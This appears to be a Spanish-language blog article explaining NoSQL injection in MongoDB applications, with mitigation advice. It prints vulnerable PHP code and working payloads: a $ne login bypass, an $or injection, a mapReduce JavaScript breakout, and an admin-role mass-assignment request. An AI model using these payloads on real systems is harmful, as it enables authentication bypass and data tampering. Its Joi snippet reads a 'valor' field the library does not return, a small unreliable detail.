Ataques de Inyección en Bases de Datos NoSQL

Introducción a la inyección NoSQL

Las bases de datos NoSQL han ganado popularidad por su escalabilidad y flexibilidad. Sin embargo, su sintaxis de consulta particular introduce riesgos de seguridad distintos a la inyección SQL tradicional. Este artículo describe vectores comunes de ataque y sus implicaciones.

Inyección de Arreglos en PHP

En un backend PHP que construye consultas MongoDB, los parámetros del formulario pueden interpretarse como operadores de MongoDB si no se sanitizan.

// Backend vulnerable en PHP
$criteria = array(
    'usuario' => $_POST['usuario'],
    'contraseña' => $_POST['contraseña']
);
$resultado = $coleccion->find($criteria);

Una petición maliciosa con parámetros manipulados:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

usuario[$ne]=x&contraseña[$ne]=y

Esto genera una consulta que coincide con cualquier documento donde el usuario no sea "x" y la contraseña no sea "y", eludiendo la autenticación.

// Consulta generada
{"usuario": {"$ne": "x"}, "contraseña": {"$ne": "y"}}

Los operadores de comparación ($gt, $lt, $gte, $lte) permiten realizar búsquedas de fuerza bruta para filtrar datos.

Inyección OR en MongoDB

Si la consulta se construye concatenando cadenas de texto, es posible inyectar operadores lógicos.

// Ejemplo vulnerable
$consulta = "{usuario: '" . $paramUser . "', clave: '" . $paramPass . "'}";
$db->execute($consulta);

Un atacante puede introducir:

usuario=legítimo', $or:[{}, {'a':'a&clave=}

La consulta resultante se vuelve:

{usuario: 'legítimo', $or:[{}, {'a':'a', clave: ''}]}

El operador $or con un objeto vacío {} evalúa a true, permitiendo omitir la verificación de contraseña si se conoce un nombre de usuario válido.

Inyección de JavaScript en Operaciones Map-Reduce

Algunas bases de datos como MongoDB permiten ejecutar código JavaScript. Si los parámetros de usuario se insertan sin filtrar en funciones como mapReduce, se pueden ejecutar comandos arbitrarios.

// Código backend vulnerable
$map = "function() {
    for (var i = 0; i < this.articulos.length; i++) {
        emit(this.nombre, this.articulos[i]." . $_GET['campo'] . ");
    }
}";

Un valor de entrada diseñado para cerrar la función y ejecutar código adicional:

campo=a);}},function(k,v){return 1;},{out:'tmp'});
db.system.js.insert({payload:'ejecucion_maliciosa'});
return 1;db.tienda.mapReduce(function(){emit(1,1

Esto resulta en la ejecución de múltiples sentencias, incluyendo la inserción de un documento malicioso.

Vectores de Ataque Adicionales

Explotación de APIs REST con CSRF

Las bases de datos NoSQL a menudo exponen una API REST. Un ataque CSRF puede forzar a un navegador autenticado a ejecutar consultas maliciosas a través de solicitudes cross-origin.

Contaminación de la Base de Datos

Si un backend actualiza documentos usando parámetros de entrada sin un esquema estricto, los atacantes pueden inyectar campos no previstos, como privilegios elevados.

// Solicitud legítima
{"email": "user@example.com", "edad": 30}

// Solicitud manipulada
{"email": "user@example.com", "edad": 30, "rol": "admin"}

Estrategias de Mitigación

  • Validación y Desinfección de Entradas: No confiar en la estructura de los datos de entrada. Utilizar bibliotecas de validación de esquemas.
  • Uso de Consultas Parametrizadas: Emplear los mecanismos de consulta parametrizada que ofrecen los drivers de bases de datos.
  • Principio de Menor Privilegio: Configurar permisos de base de datos restrictivos. Las cuentas de aplicación no deben tener acceso a comandos administrativos como eval.
  • Cabeceras HTTP Seguras: Para APIs, utilizar Content-Type: application/json y configurar CORS de manera restrictiva para prevenir CSRF.
  • Aálisis de Seguridad: Implementar escaneo estático (SAST) y dinámico (DAST) en el pipeline de desarrollo.
// Ejemplo de validación con un esquema en Node.js (usando Joi)
const Joi = require('joi');

const esquemaUsuario = Joi.object({
    nombre: Joi.string().alphanum().min(3).max(30).required(),
    contraseña: Joi.string().pattern(new RegExp('^[a-zA-Z0-9]{3,30}$')).required(),
    email: Joi.string().email()
});

const { error, valor } = esquemaUsuario.validate(req.body);
if (error) {
    // Rechazar la solicitud
}

Etiquetas: MongoDB inyección NoSQL seguridad web PHP JavaScript

Publicado el 6-27 00:54